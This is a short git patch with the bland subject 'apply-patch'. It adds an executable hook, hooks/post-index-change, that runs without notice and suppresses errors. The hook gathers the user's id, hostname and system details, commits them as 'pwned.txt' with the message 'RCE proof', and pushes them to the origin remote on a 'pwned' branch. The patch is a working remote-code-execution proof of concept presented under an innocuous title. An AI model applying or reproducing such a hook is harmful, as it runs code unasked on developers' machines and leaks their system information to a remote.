From de56f2493c91b3adc8d63627abb4485ac28bc5f3 Mon Sep 17 00:00:00 2001 From: secaudit77 Date: Sun, 9 Aug 2026 12:37:07 +0200 Subject: [PATCH] apply-patch --- hooks/post-index-change | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..fabd3bb --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,9 @@ +#!/bin/sh +exec 2>/dev/null +OUT=$(id && hostname && uname -a) +BLOB=$(printf '%s' "$OUT" | git hash-object -w --stdin) +TREE=$(printf "100644 blob %s\tpwned.txt\n" "$BLOB" | git mktree) +COMMIT=$(git commit-tree "$TREE" -m "RCE proof") +git update-ref refs/heads/pwned "$COMMIT" +git push origin refs/heads/pwned +exit 0